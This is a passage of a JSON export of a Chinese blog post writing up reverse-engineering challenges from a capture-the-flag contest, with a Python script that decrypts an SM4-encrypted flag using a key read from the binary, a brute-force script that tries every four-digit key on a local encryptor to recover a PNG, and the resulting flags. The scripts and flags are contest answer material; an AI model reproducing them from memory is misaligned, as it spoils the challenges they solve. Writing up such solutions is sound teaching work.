+= put_uint32_be(X&#91;1])\n        output += put_uint32_be(X&#91;0])\n\n    return output\n#\u8fd9\u5b9e\u73b0\u4e86 ECB \u6a21\u5f0f\u7684\u52a0\u5bc6\/\u89e3\u5bc6\u3002\u5728\u6c47\u7f16\u4e2d\uff1a\n\n#\u52a0\u5bc6\uff1a\u51fd\u6570\u5728 0x40173B\n\n#\u89e3\u5bc6\uff1a\u51fd\u6570\u5728 0x401910\n\nKEY = bytes(&#91;\n    0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF,\n    0xFE, 0xDC, 0xBA, 0x98, 0x76, 0x54, 0x32, 0x10\n])\n#\u5bc6\u94a5\u6765\u6e90\u4e8e\u6c47\u7f16\u5730\u5740 0x401D2A \u5230 0x401D93\u3002\nENCRYPTED_FLAG = \"e35d1c09d861670051587475dba013bfe253923f8571add70f63a674dbeb8f22\"\n\nprint(f\"nKey: {KEY.hex()}\")\nprint(f\"Ciphertext: {ENCRYPTED_FLAG}\")\n\nciphertext = bytes.fromhex(ENCRYPTED_FLAG)\nplaintext = sm4_crypt_ecb(0, KEY, ciphertext)\n\nprint(f\"nDecrypted (hex): {plaintext.hex()}\")\nprint(f\"Decrypted (raw): {plaintext}\")\n\ntry:\n    pad_len = plaintext&#91;-1]\n    if 0 &lt; pad_len &lt;= 16:\n        valid_padding = all(plaintext&#91;-i] == pad_len for i in range(1, pad_len + 1))\n        if valid_padding:\n            unpadded = plaintext&#91;:-pad_len]\n            flag = unpadded.decode('utf-8')\n            #\u586b\u5145\u903b\u8f91\u5728\u6c47\u7f16\u4e2d\uff1a\n\n            #\u586b\u5145\u6dfb\u52a0\uff1a\u51fd\u6570\u5728 0x401A57\n\n            #\u586b\u5145\u9a8c\u8bc1\/\u79fb\u9664\uff1a\u51fd\u6570\u5728 0x401B06\n        else:\n            flag = plaintext.decode('utf-8', errors='ignore')\n    else:\n        flag = plaintext.decode('utf-8', errors='ignore')\nexcept:\n    flag = plaintext.decode('utf-8', errors='ignore')\n\nprint(f\"FLAG: {flag}\")\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-411-1024x203.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"203\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-411-1024x203.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2744\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>unictf{sm4ezze44ms}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">R_png<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-412-1024x543.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"543\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-412-1024x543.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2745\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u4eec\u53ef\u4ee5\u770benc.elf \u9700\u8981\u586b4\u4e2a\u6570\u5b57\u6240\u4ee5\u6211\u4eec\u53ea\u9700\u8981\u66b4\u529b\u7834\u89e3\u6570\u5b57<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-413.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"449\" height=\"70\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-413.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2746\"  sizes=\"auto, (max-width: 449px) 100vw, 449px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import subprocess\nimport os\nimport sys\n\nif os.path.exists(\"flagpngenc.rc4\"):\n    os.remove(\"flagpngenc.rc4\")\n\nfor key in range(10000):\n    key_str = f\"{key:04d}\"\n    print(f\"rTrying key: {key_str}\", end=\"\", flush=True)\n\n    result = subprocess.run(\n        &#91;\".\/enc.elf\", \"flagpngenc\", key_str],\n        capture_output=True,\n        text=True\n    )\n\n    if os.path.exists(\"flagpngenc.rc4\"):\n        with open(\"flagpngenc.rc4\", \"rb\") as f:\n            header = f.read(8)\n            if header == b'x89PNGrnx1an':\n                print(f\"nnSUCCESS! Found key: {key_str}\")\n                print(f\"Valid PNG file created: flagpngenc.rc4\")\n\n                os.rename(\"flagpngenc.rc4\", f\"decrypted_{key_str}.png\")\n                print(f\"Renamed to: decrypted_{key_str}.png\")\n                sys.exit(0)\n\n        os.remove(\"flagpngenc.rc4\")\n\nprint(\"nnNo valid key found (0000-9999)\")\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='D:Typoratupianimage-20260129190842994.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"D:Typoratupianimage-20260129190842994.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260129190842994\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='D:Typoratupianimage-20260129190850599.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"D:Typoratupianimage-20260129190850599.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260129190850599\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>unictf{325799799302}<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">\u603b\u7ed3<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">\u9898\u76ee\u975e\u5e38\u6709\u96be\u5ea6\uff0c\u633a\u96be\u7684\uff0c\u8bf4\u5b9e\u8bdd\uff0c\u62dc\u62dc,\u87f9\u87f9\u89c2\u770b<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u524d\u8a00 \u6700\u540e\u4e24 \u4e09 \u5929\u8fd9\u4e2a\u6bd4\u8d5b\u6ca1\u6709\u6253 \u5728\u770b\u7684\u65f6\u5019\u7ed3\u675f\u4e86 \u5fd8\u4e86\u8fd9\u4e2a \u54c8\u54c8\u54c8\uff0c\u6211\u8fde\u8c03\u67e5\u95ee\u5377\u90fd\u6ca1\u6709\u586b\u5199 \u597d\u50cf\u6700\u540e\u662f40 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,23],"tags":[],"class_list":["post-2603","post","type-post","status-publish","format-standard","hentry","category-ctf","category-unictf"],"_links":{"self":[{"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/posts\/2603","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2603"}],"version-history":[{"count":1,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/posts\/2603\/revisions"}],"predecessor-version":[{"id":2747,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/posts\/2603\/revisions\/2747"}],"wp:attachment":[{"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2603"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2603"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2603"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}